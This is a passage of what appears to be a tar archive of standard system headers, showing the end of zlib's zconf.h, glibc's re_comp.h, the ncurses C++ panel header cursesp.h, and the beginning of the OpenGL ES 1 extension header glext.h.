z_gz_headerp # define in_func z_in_func # define intf z_intf # define out_func z_out_func # define uInt z_uInt # define uIntf z_uIntf # define uLong z_uLong # define uLongf z_uLongf # define voidp z_voidp # define voidpc z_voidpc # define voidpf z_voidpf /* all zlib structs in zlib.h and zconf.h */ # define gz_header_s z_gz_header_s # define internal_state z_internal_state #endif #if defined(__MSDOS__) && !defined(MSDOS) # define MSDOS #endif #if (defined(OS_2) || defined(__OS2__)) && !defined(OS2) # define OS2 #endif #if defined(_WINDOWS) && !defined(WINDOWS) # define WINDOWS #endif #if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__) # ifndef WIN32 # define WIN32 # endif #endif #if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32) # if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__) # ifndef SYS16BIT # define SYS16BIT # endif # endif #endif /* * Compile with -DMAXSEG_64K if the alloc function cannot allocate more * than 64k bytes at a time (needed on systems with 16-bit int). */ #ifdef SYS16BIT # define MAXSEG_64K #endif #ifdef MSDOS # define UNALIGNED_OK #endif #ifdef __STDC_VERSION__ # ifndef STDC # define STDC # endif # if __STDC_VERSION__ >= 199901L # ifndef STDC99 # define STDC99 # endif # endif #endif #if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus)) # define STDC #endif #if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__)) # define STDC #endif #if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32)) # define STDC #endif #if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__)) # define STDC #endif #if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */ # define STDC #endif #ifndef STDC # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ # define const /* note: need a more gentle solution here */ # endif #endif #if defined(ZLIB_CONST) && !defined(z_const) # define z_const const #else # define z_const #endif #ifdef Z_SOLO typedef unsigned long z_size_t; #else # define z_longlong long long # if defined(NO_SIZE_T) typedef unsigned NO_SIZE_T z_size_t; # elif defined(STDC) # include <stddef.h> typedef size_t z_size_t; # else typedef unsigned long z_size_t; # endif # undef z_longlong #endif /* Maximum value for memLevel in deflateInit2 */ #ifndef MAX_MEM_LEVEL # ifdef MAXSEG_64K # define MAX_MEM_LEVEL 8 # else # define MAX_MEM_LEVEL 9 # endif #endif /* Maximum value for windowBits in deflateInit2 and inflateInit2. * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files * created by gzip. (Files created by minigzip can still be extracted by * gzip.) */ #ifndef MAX_WBITS # define MAX_WBITS 15 /* 32K LZ77 window */ #endif /* The memory requirements for deflate are (in bytes): (1 << (windowBits+2)) + (1 << (memLevel+9)) that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) plus a few kilobytes for small objects. For example, if you want to reduce the default memory requirements from 256K to 128K, compile with make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" Of course this will generally degrade compression (there's no free lunch). The memory requirements for inflate are (in bytes) 1 << windowBits that is, 32K for windowBits=15 (default value) plus about 7 kilobytes for small objects. */ /* Type declarations */ #ifndef OF /* function prototypes */ # ifdef STDC # define OF(args) args # else # define OF(args) () # endif #endif #ifndef Z_ARG /* function prototypes for stdarg */ # if defined(STDC) || defined(Z_HAVE_STDARG_H) # define Z_ARG(args) args # else # define Z_ARG(args) () # endif #endif /* The following definitions for FAR are needed only for MSDOS mixed * model programming (small or medium model with some far allocations). * This was tested only with MSC; for other MSDOS compilers you may have * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, * just define FAR to be empty. */ #ifdef SYS16BIT # if defined(M_I86SM) || defined(M_I86MM) /* MSC small or medium model */ # define SMALL_MEDIUM # ifdef _MSC_VER # define FAR _far # else # define FAR far # endif # endif # if (defined(__SMALL__) || defined(__MEDIUM__)) /* Turbo C small or medium model */ # define SMALL_MEDIUM # ifdef __BORLANDC__ # define FAR _far # else # define FAR far # endif # endif #endif #if defined(WINDOWS) || defined(WIN32) /* If building or using zlib as a DLL, define ZLIB_DLL. * This is not mandatory, but it offers a little performance increase. */ # ifdef ZLIB_DLL # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) # ifdef ZLIB_INTERNAL # define ZEXTERN extern __declspec(dllexport) # else # define ZEXTERN extern __declspec(dllimport) # endif # endif # endif /* ZLIB_DLL */ /* If building or using zlib with the WINAPI/WINAPIV calling convention, * define ZLIB_WINAPI. * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. */ # ifdef ZLIB_WINAPI # ifdef FAR # undef FAR # endif # include <windows.h> /* No need for _export, use ZLIB.DEF instead. */ /* For complete Windows compatibility, use WINAPI, not __stdcall. */ # define ZEXPORT WINAPI # ifdef WIN32 # define ZEXPORTVA WINAPIV # else # define ZEXPORTVA FAR CDECL # endif # endif #endif #if defined (__BEOS__) # ifdef ZLIB_DLL # ifdef ZLIB_INTERNAL # define ZEXPORT __declspec(dllexport) # define ZEXPORTVA __declspec(dllexport) # else # define ZEXPORT __declspec(dllimport) # define ZEXPORTVA __declspec(dllimport) # endif # endif #endif #ifndef ZEXTERN # define ZEXTERN extern #endif #ifndef ZEXPORT # define ZEXPORT #endif #ifndef ZEXPORTVA # define ZEXPORTVA #endif #ifndef FAR # define FAR #endif #if !defined(__MACTYPES__) typedef unsigned char Byte; /* 8 bits */ #endif typedef unsigned int uInt; /* 16 bits or more */ typedef unsigned long uLong; /* 32 bits or more */ #ifdef SMALL_MEDIUM /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ # define Bytef Byte FAR #else typedef Byte FAR Bytef; #endif typedef char FAR charf; typedef int FAR intf; typedef uInt FAR uIntf; typedef uLong FAR uLongf; #ifdef STDC typedef void const *voidpc; typedef void FAR *voidpf; typedef void *voidp; #else typedef Byte const *voidpc; typedef Byte FAR *voidpf; typedef Byte *voidp; #endif #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) # include <limits.h> # if (UINT_MAX == 0xffffffffUL) # define Z_U4 unsigned # elif (ULONG_MAX == 0xffffffffUL) # define Z_U4 unsigned long # elif (USHRT_MAX == 0xffffffffUL) # define Z_U4 unsigned short # endif #endif #ifdef Z_U4 typedef Z_U4 z_crc_t; #else typedef unsigned long z_crc_t; #endif #if 1 /* was set to #if 1 by ./configure */ # define Z_HAVE_UNISTD_H #endif #if 1 /* was set to #if 1 by ./configure */ # define Z_HAVE_STDARG_H #endif #ifdef STDC # ifndef Z_SOLO # include <sys/types.h> /* for off_t */ # endif #endif #if defined(STDC) || defined(Z_HAVE_STDARG_H) # ifndef Z_SOLO # include <stdarg.h> /* for va_list */ # endif #endif #ifdef _WIN32 # ifndef Z_SOLO # include <stddef.h> /* for wchar_t */ # endif #endif /* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and * "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even * though the former does not conform to the LFS document), but considering * both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as * equivalently requesting no 64-bit operations */ #if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1 # undef _LARGEFILE64_SOURCE #endif #if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H) # define Z_HAVE_UNISTD_H #endif #ifndef Z_SOLO # if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE) # include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */ # ifdef VMS # include <unixio.h> /* for off_t */ # endif # ifndef z_off_t # define z_off_t off_t # endif # endif #endif #if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0 # define Z_LFS64 #endif #if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64) # define Z_LARGE64 #endif #if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64) # define Z_WANT64 #endif #if !defined(SEEK_SET) && !defined(Z_SOLO) # define SEEK_SET 0 /* Seek from beginning of file. */ # define SEEK_CUR 1 /* Seek from current position. */ # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ #endif #ifndef z_off_t # define z_off_t long #endif #if !defined(_WIN32) && defined(Z_LARGE64) # define z_off64_t off64_t #else # if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO) # define z_off64_t __int64 # else # define z_off64_t z_off_t # endif #endif /* MVS linker does not support external names larger than 8 bytes */ #if defined(__MVS__) #pragma map(deflateInit_,"DEIN") #pragma map(deflateInit2_,"DEIN2") #pragma map(deflateEnd,"DEEND") #pragma map(deflateBound,"DEBND") #pragma map(inflateInit_,"ININ") #pragma map(inflateInit2_,"ININ2") #pragma map(inflateEnd,"INEND") #pragma map(inflateSync,"INSY") #pragma map(inflateSetDictionary,"INSEDI") #pragma map(compressBound,"CMBND") #pragma map(inflate_table,"INTABL") #pragma map(inflate_fast,"INFA") #pragma map(inflate_copyright,"INCOPY") #endif #endif /* ZCONF_H */ re_comp.h 0000644 00000001702 15246445047 0006354 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _RE_COMP_H #define _RE_COMP_H 1 /* This is only a wrapper around the <regex.h> file. XPG4.2 mentions this name. */ #include <regex.h> #endif /* re_comp.h */ cursesp.h 0000644 00000020631 15246445047 0006416 0 ustar 00 // * This makes emacs happy -*-Mode: C++;-*- /**************************************************************************** * Copyright (c) 1998-2012,2014 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1997 * ****************************************************************************/ #ifndef NCURSES_CURSESP_H_incl #define NCURSES_CURSESP_H_incl 1 // $Id: cursesp.h,v 1.31 2014/08/09 22:06:26 Adam.Jiang Exp $ #include <cursesw.h> extern "C" { # include <panel.h> } class NCURSES_IMPEXP NCursesPanel : public NCursesWindow { protected: PANEL *p; static NCursesPanel *dummy; private: // This structure is used for the panel's user data field to link the // PANEL* to the C++ object and to provide extra space for a user pointer. typedef struct { void* m_user; // the pointer for the user's data const NCursesPanel* m_back; // backward pointer to C++ object const PANEL* m_owner; // the panel itself } UserHook; inline UserHook *UserPointer() { UserHook* uptr = reinterpret_cast<UserHook*>( const_cast<void *>(::panel_userptr (p))); return uptr; } void init(); // Initialize the panel object protected: void set_user(void *user) { UserHook* uptr = UserPointer(); if (uptr != 0 && uptr->m_back==this && uptr->m_owner==p) { uptr->m_user = user; } } // Set the user pointer of the panel. void *get_user() { UserHook* uptr = UserPointer(); void *result = 0; if (uptr != 0 && uptr->m_back==this && uptr->m_owner==p) result = uptr->m_user; return result; } void OnError (int err) const THROW2(NCursesException const, NCursesPanelException) { if (err==ERR) THROW(new NCursesPanelException (this, err)); } // If err is equal to the curses error indicator ERR, an error handler // is called. // Get a keystroke. Default implementation calls getch() virtual int getKey(void); public: NCursesPanel(int nlines, int ncols, int begin_y = 0, int begin_x = 0) : NCursesWindow(nlines,ncols,begin_y,begin_x), p(0) { init(); } // Create a panel with this size starting at the requested position. NCursesPanel() : NCursesWindow(::stdscr), p(0) { init(); } // This constructor creates the default Panel associated with the // ::stdscr window NCursesPanel& operator=(const NCursesPanel& rhs) { if (this != &rhs) { *this = rhs; NCursesWindow::operator=(rhs); } return *this; } NCursesPanel(const NCursesPanel& rhs) : NCursesWindow(rhs), p(rhs.p) { } virtual ~NCursesPanel(); // basic manipulation inline void hide() { OnError (::hide_panel(p)); } // Hide the panel. It stays in the stack but becomes invisible. inline void show() { OnError (::show_panel(p)); } // Show the panel, i.e. make it visible. inline void top() { OnError (::top_panel(p)); } // Make this panel the top panel in the stack. inline void bottom() { OnError (::bottom_panel(p)); } // Make this panel the bottom panel in the stack. // N.B.: The panel associated with ::stdscr is always on the bottom. So // actually bottom() makes the panel the first above ::stdscr. virtual int mvwin(int y, int x) { OnError(::move_panel(p, y, x)); return OK; } inline bool hidden() const { return (::panel_hidden (p) ? TRUE : FALSE); } // Return TRUE if the panel is hidden, FALSE otherwise. /* The functions panel_above() and panel_below() are not reflected in the NCursesPanel class. The reason for this is, that we cannot assume that a panel retrieved by those operations is one wrapped by a C++ class. Although this situation might be handled, we also need a reverse mapping from PANEL to NCursesPanel which needs some redesign of the low level stuff. At the moment, we define them in the interface but they will always produce an error. */ inline NCursesPanel& above() const { OnError(ERR); return *dummy; } inline NCursesPanel& below() const { OnError(ERR); return *dummy; } // Those two are rewrites of the corresponding virtual members of // NCursesWindow virtual int refresh(); // Propagate all panel changes to the virtual screen and update the // physical screen. virtual int noutrefresh(); // Propagate all panel changes to the virtual screen. static void redraw(); // Redraw all panels. // decorations virtual void frame(const char* title=NULL, const char* btitle=NULL); // Put a frame around the panel and put the title centered in the top line // and btitle in the bottom line. virtual void boldframe(const char* title=NULL, const char* btitle=NULL); // Same as frame(), but use highlighted attributes. virtual void label(const char* topLabel, const char* bottomLabel); // Put the title centered in the top line and btitle in the bottom line. virtual void centertext(int row,const char* label); // Put the label text centered in the specified row. }; /* We use templates to provide a typesafe mechanism to associate * user data with a panel. A NCursesUserPanel<T> is a panel * associated with some user data of type T. */ template<class T> class NCursesUserPanel : public NCursesPanel { public: NCursesUserPanel (int nlines, int ncols, int begin_y = 0, int begin_x = 0, const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesPanel (nlines, ncols, begin_y, begin_x) { if (p) set_user (const_cast<void *>(reinterpret_cast<const void*> (p_UserData))); }; // This creates an user panel of the requested size with associated // user data pointed to by p_UserData. NCursesUserPanel(const T* p_UserData = STATIC_CAST(T*)(0)) : NCursesPanel() { if (p) set_user(const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); }; // This creates an user panel associated with the ::stdscr and user data // pointed to by p_UserData. virtual ~NCursesUserPanel() {}; T* UserData (void) { return reinterpret_cast<T*>(get_user ()); }; // Retrieve the user data associated with the panel. virtual void setUserData (const T* p_UserData) { if (p) set_user (const_cast<void *>(reinterpret_cast<const void*>(p_UserData))); } // Associate the user panel with the user data pointed to by p_UserData. }; #endif /* NCURSES_CURSESP_H_incl */ GLES/glext.h 0000644 00000151024 15246445047 0006610 0 ustar 00 #ifndef __gles1_glext_h_ #define __gles1_glext_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright (c) 2013-2018 The Khronos Group Inc. ** ** Permission is hereby granted, free of charge, to any person obtaining a ** copy of this software and/or associated documentation files (the ** "Materials"), to deal in the Materials without restriction, including ** without limitation the rights to use, copy, modify, merge, publish, ** distribute, sublicense, and/or sell copies of the Materials, and to ** permit persons to whom the Materials are furnished to do so, subject to ** the following conditions: ** ** The above copyright notice and this permission notice shall be included ** in all copies or substantial portions of the Materials. ** ** THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY ** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, ** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE ** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. */ /* ** This header is generated from the Khronos OpenGL / OpenGL ES XML ** API Registry. The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** https://github.com/KhronosGroup/OpenGL-Registry */ #ifndef GL_APIENTRYP #define GL_APIENTRYP GL_APIENTRY* #endif /* Generated on date 20190805 */ /* Generated C header for: * API: gles1 * Profile: common * Versions considered: .* * Versions emitted: _nomatch_^ * Default extensions included: gles1 * Additional extensions included: _nomatch_^ * Extensions removed: ^(GL_OES_read_format|GL_OES_compressed_paletted_texture|GL_OES_point_size_array|GL_OES_point_sprite)$ */ #ifndef GL_KHR_debug #define GL_KHR_debug 1 #endif /* GL_KHR_debug */ #ifndef GL_OES_EGL_image #define GL_OES_EGL_image 1 typedef void *GLeglImageOES; typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETTEXTURE2DOESPROC) (GLenum target, GLeglImageOES image); typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETRENDERBUFFERSTORAGEOESPROC) (GLenum target, GLeglImageOES image); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glEGLImageTargetTexture2DOES (GLenum target, GLeglImageOES image); GL_API void GL_APIENTRY glEGLImageTargetRenderbufferStorageOES (GLenum target, GLeglImageOES image); #endif #endif /* GL_OES_EGL_image */ #ifndef GL_OES_EGL_image_external #define GL_OES_EGL_image_external 1 #define GL_TEXTURE_EXTERNAL_OES 0x8D65 #define GL_TEXTURE_BINDING_EXTERNAL_OES 0x8D67 #define GL_REQUIRED_TEXTURE_IMAGE_UNITS_OES 0x8D68 #endif /* GL_OES_EGL_image_external */ #ifndef GL_OES_blend_equation_separate #define GL_OES_blend_equation_separate 1 #define GL_BLEND_EQUATION_RGB_OES 0x8009 #define GL_BLEND_EQUATION_ALPHA_OES 0x883D typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONSEPARATEOESPROC) (GLenum modeRGB, GLenum modeAlpha); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glBlendEquationSeparateOES (GLenum modeRGB, GLenum modeAlpha); #endif #endif /* GL_OES_blend_equation_separate */ #ifndef GL_OES_blend_func_separate #define GL_OES_blend_func_separate 1 #define GL_BLEND_DST_RGB_OES 0x80C8 #define GL_BLEND_SRC_RGB_OES 0x80C9 #define GL_BLEND_DST_ALPHA_OES 0x80CA #define GL_BLEND_SRC_ALPHA_OES 0x80CB typedef void (GL_APIENTRYP PFNGLBLENDFUNCSEPARATEOESPROC) (GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glBlendFuncSeparateOES (GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); #endif #endif /* GL_OES_blend_func_separate */ #ifndef GL_OES_blend_subtract #define GL_OES_blend_subtract 1 #define GL_BLEND_EQUATION_OES 0x8009 #define GL_FUNC_ADD_OES 0x8006 #define GL_FUNC_SUBTRACT_OES 0x800A #define GL_FUNC_REVERSE_SUBTRACT_OES 0x800B typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONOESPROC) (GLenum mode); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glBlendEquationOES (GLenum mode); #endif #endif /* GL_OES_blend_subtract */ #ifndef GL_OES_byte_coordinates #define GL_OES_byte_coordinates 1 #endif /* GL_OES_byte_coordinates */ #ifndef GL_OES_compressed_ETC1_RGB8_sub_texture #define GL_OES_compressed_ETC1_RGB8_sub_texture 1 #endif /* GL_OES_compressed_ETC1_RGB8_sub_texture */ #ifndef GL_OES_compressed_ETC1_RGB8_texture #define GL_OES_compressed_ETC1_RGB8_texture 1 #define GL_ETC1_RGB8_OES 0x8D64 #endif /* GL_OES_compressed_ETC1_RGB8_texture */ #ifndef GL_OES_depth24 #define GL_OES_depth24 1 #define GL_DEPTH_COMPONENT24_OES 0x81A6 #endif /* GL_OES_depth24 */ #ifndef GL_OES_depth32 #define GL_OES_depth32 1 #define GL_DEPTH_COMPONENT32_OES 0x81A7 #endif /* GL_OES_depth32 */ #ifndef GL_OES_draw_texture #define GL_OES_draw_texture 1 #define GL_TEXTURE_CROP_RECT_OES 0x8B9D typedef void (GL_APIENTRYP PFNGLDRAWTEXSOESPROC) (GLshort x, GLshort y, GLshort z, GLshort width, GLshort height); typedef void (GL_APIENTRYP PFNGLDRAWTEXIOESPROC) (GLint x, GLint y, GLint z, GLint width, GLint height); typedef void (GL_APIENTRYP PFNGLDRAWTEXXOESPROC) (GLfixed x, GLfixed y, GLfixed z, GLfixed width, GLfixed height); typedef void (GL_APIENTRYP PFNGLDRAWTEXSVOESPROC) (const GLshort *coords); typedef void (GL_APIENTRYP PFNGLDRAWTEXIVOESPROC) (const GLint *coords); typedef void (GL_APIENTRYP PFNGLDRAWTEXXVOESPROC) (const GLfixed *coords); typedef void (GL_APIENTRYP PFNGLDRAWTEXFOESPROC) (GLfloat x, GLfloat y, GLfloat z, GLfloat width, GLfloat height); typedef void (GL_APIENTRYP PFNGLDRAWTEXFVOESPROC) (const GLfloat *coords); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glDrawTexsOES (GLshort x, GLshort y, GLshort z, GLshort width, GLshort height); GL_API void GL_APIENTRY glDrawTexiOES (GLint x, GLint y, GLint z, GLint width, GLint height); GL_API void GL_APIENTRY glDrawTexxOES (GLfixed x, GLfixed y, GLfixed z, GLfixed width, GLfixed height); GL_API void GL_APIENTRY glDrawTexsvOES (const GLshort *coords); GL_API void GL_APIENTRY glDrawTexivOES (const GLint *coords); GL_API void GL_APIENTRY glDrawTexxvOES (const GLfixed *coords); GL_API void GL_APIENTRY glDrawTexfOES (GLfloat x, GLfloat y, GLfloat z, GLfloat width, GLfloat height); GL_API void GL_APIENTRY glDrawTexfvOES (const GLfloat *coords); #endif #endif /* GL_OES_draw_texture */ #ifndef GL_OES_element_index_uint #define GL_OES_element_index_uint 1 #define GL_UNSIGNED_INT 0x1405 #endif /* GL_OES_element_index_uint */ #ifndef GL_OES_extended_matrix_palette #define GL_OES_extended_matrix_palette 1 #endif /* GL_OES_extended_matrix_palette */ #ifndef GL_OES_fbo_render_mipmap #define GL_OES_fbo_render_mipmap 1 #endif /* GL_OES_fbo_render_mipmap */ #ifndef GL_OES_fixed_point #define GL_OES_fixed_point 1 #define GL_FIXED_OES 0x140C typedef void (GL_APIENTRYP PFNGLALPHAFUNCXOESPROC) (GLenum func, GLfixed ref); typedef void (GL_APIENTRYP PFNGLCLEARCOLORXOESPROC) (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); typedef void (GL_APIENTRYP PFNGLCLEARDEPTHXOESPROC) (GLfixed depth); typedef void (GL_APIENTRYP PFNGLCLIPPLANEXOESPROC) (GLenum plane, const GLfixed *equation); typedef void (GL_APIENTRYP PFNGLCOLOR4XOESPROC) (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEXOESPROC) (GLfixed n, GLfixed f); typedef void (GL_APIENTRYP PFNGLFOGXOESPROC) (GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLFOGXVOESPROC) (GLenum pname, const GLfixed *param); typedef void (GL_APIENTRYP PFNGLFRUSTUMXOESPROC) (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); typedef void (GL_APIENTRYP PFNGLGETCLIPPLANEXOESPROC) (GLenum plane, GLfixed *equation); typedef void (GL_APIENTRYP PFNGLGETFIXEDVOESPROC) (GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLGETTEXENVXVOESPROC) (GLenum target, GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERXVOESPROC) (GLenum target, GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLLIGHTMODELXOESPROC) (GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLLIGHTMODELXVOESPROC) (GLenum pname, const GLfixed *param); typedef void (GL_APIENTRYP PFNGLLIGHTXOESPROC) (GLenum light, GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLLIGHTXVOESPROC) (GLenum light, GLenum pname, const GLfixed *params); typedef void (GL_APIENTRYP PFNGLLINEWIDTHXOESPROC) (GLfixed width); typedef void (GL_APIENTRYP PFNGLLOADMATRIXXOESPROC) (const GLfixed *m); typedef void (GL_APIENTRYP PFNGLMATERIALXOESPROC) (GLenum face, GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLMATERIALXVOESPROC) (GLenum face, GLenum pname, const GLfixed *param); typedef void (GL_APIENTRYP PFNGLMULTMATRIXXOESPROC) (const GLfixed *m); typedef void (GL_APIENTRYP PFNGLMULTITEXCOORD4XOESPROC) (GLenum texture, GLfixed s, GLfixed t, GLfixed r, GLfixed q); typedef void (GL_APIENTRYP PFNGLNORMAL3XOESPROC) (GLfixed nx, GLfixed ny, GLfixed nz); typedef void (GL_APIENTRYP PFNGLORTHOXOESPROC) (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); typedef void (GL_APIENTRYP PFNGLPOINTPARAMETERXVOESPROC) (GLenum pname, const GLfixed *params); typedef void (GL_APIENTRYP PFNGLPOINTSIZEXOESPROC) (GLfixed size); typedef void (GL_APIENTRYP PFNGLPOLYGONOFFSETXOESPROC) (GLfixed factor, GLfixed units); typedef void (GL_APIENTRYP PFNGLROTATEXOESPROC) (GLfixed angle, GLfixed x, GLfixed y, GLfixed z); typedef void (GL_APIENTRYP PFNGLSCALEXOESPROC) (GLfixed x, GLfixed y, GLfixed z); typedef void (GL_APIENTRYP PFNGLTEXENVXOESPROC) (GLenum target, GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLTEXENVXVOESPROC) (GLenum target, GLenum pname, const GLfixed *params); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERXOESPROC) (GLenum target, GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERXVOESPROC) (GLenum target, GLenum pname, const GLfixed *params); typedef void (GL_APIENTRYP PFNGLTRANSLATEXOESPROC) (GLfixed x, GLfixed y, GLfixed z); typedef void (GL_APIENTRYP PFNGLGETLIGHTXVOESPROC) (GLenum light, GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLGETMATERIALXVOESPROC) (GLenum face, GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLPOINTPARAMETERXOESPROC) (GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLSAMPLECOVERAGEXOESPROC) (GLclampx value, GLboolean invert); typedef void (GL_APIENTRYP PFNGLGETTEXGENXVOESPROC) (GLenum coord, GLenum pname, GLfixed *params); typedef void (GL_APIENTRYP PFNGLTEXGENXOESPROC) (GLenum coord, GLenum pname, GLfixed param); typedef void (GL_APIENTRYP PFNGLTEXGENXVOESPROC) (GLenum coord, GLenum pname, const GLfixed *params); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glAlphaFuncxOES (GLenum func, GLfixed ref); GL_API void GL_APIENTRY glClearColorxOES (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); GL_API void GL_APIENTRY glClearDepthxOES (GLfixed depth); GL_API void GL_APIENTRY glClipPlanexOES (GLenum plane, const GLfixed *equation); GL_API void GL_APIENTRY glColor4xOES (GLfixed red, GLfixed green, GLfixed blue, GLfixed alpha); GL_API void GL_APIENTRY glDepthRangexOES (GLfixed n, GLfixed f); GL_API void GL_APIENTRY glFogxOES (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glFogxvOES (GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY glFrustumxOES (GLfixed l, GLfixed r, GLfixed b, GLfixed t, GLfixed n, GLfixed f); GL_API void GL_APIENTRY glGetClipPlanexOES (GLenum plane, GLfixed *equation); GL_API void GL_APIENTRY glGetFixedvOES (GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetTexEnvxvOES (GLenum target, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glGetTexParameterxvOES (GLenum target, GLenum pname, GLfixed *params); GL_API void GL_APIENTRY glLightModelxOES (GLenum pname, GLfixed param); GL_API void GL_APIENTRY glLightModelxvOES (GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY glLightxOES (GLenum light, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glLightxvOES (GLenum light, GLenum pname, const GLfixed *params); GL_API void GL_APIENTRY glLineWidthxOES (GLfixed width); GL_API void GL_APIENTRY glLoadMatrixxOES (const GLfixed *m); GL_API void GL_APIENTRY glMaterialxOES (GLenum face, GLenum pname, GLfixed param); GL_API void GL_APIENTRY glMaterialxvOES (GLenum face, GLenum pname, const GLfixed *param); GL_API void GL_APIENTRY 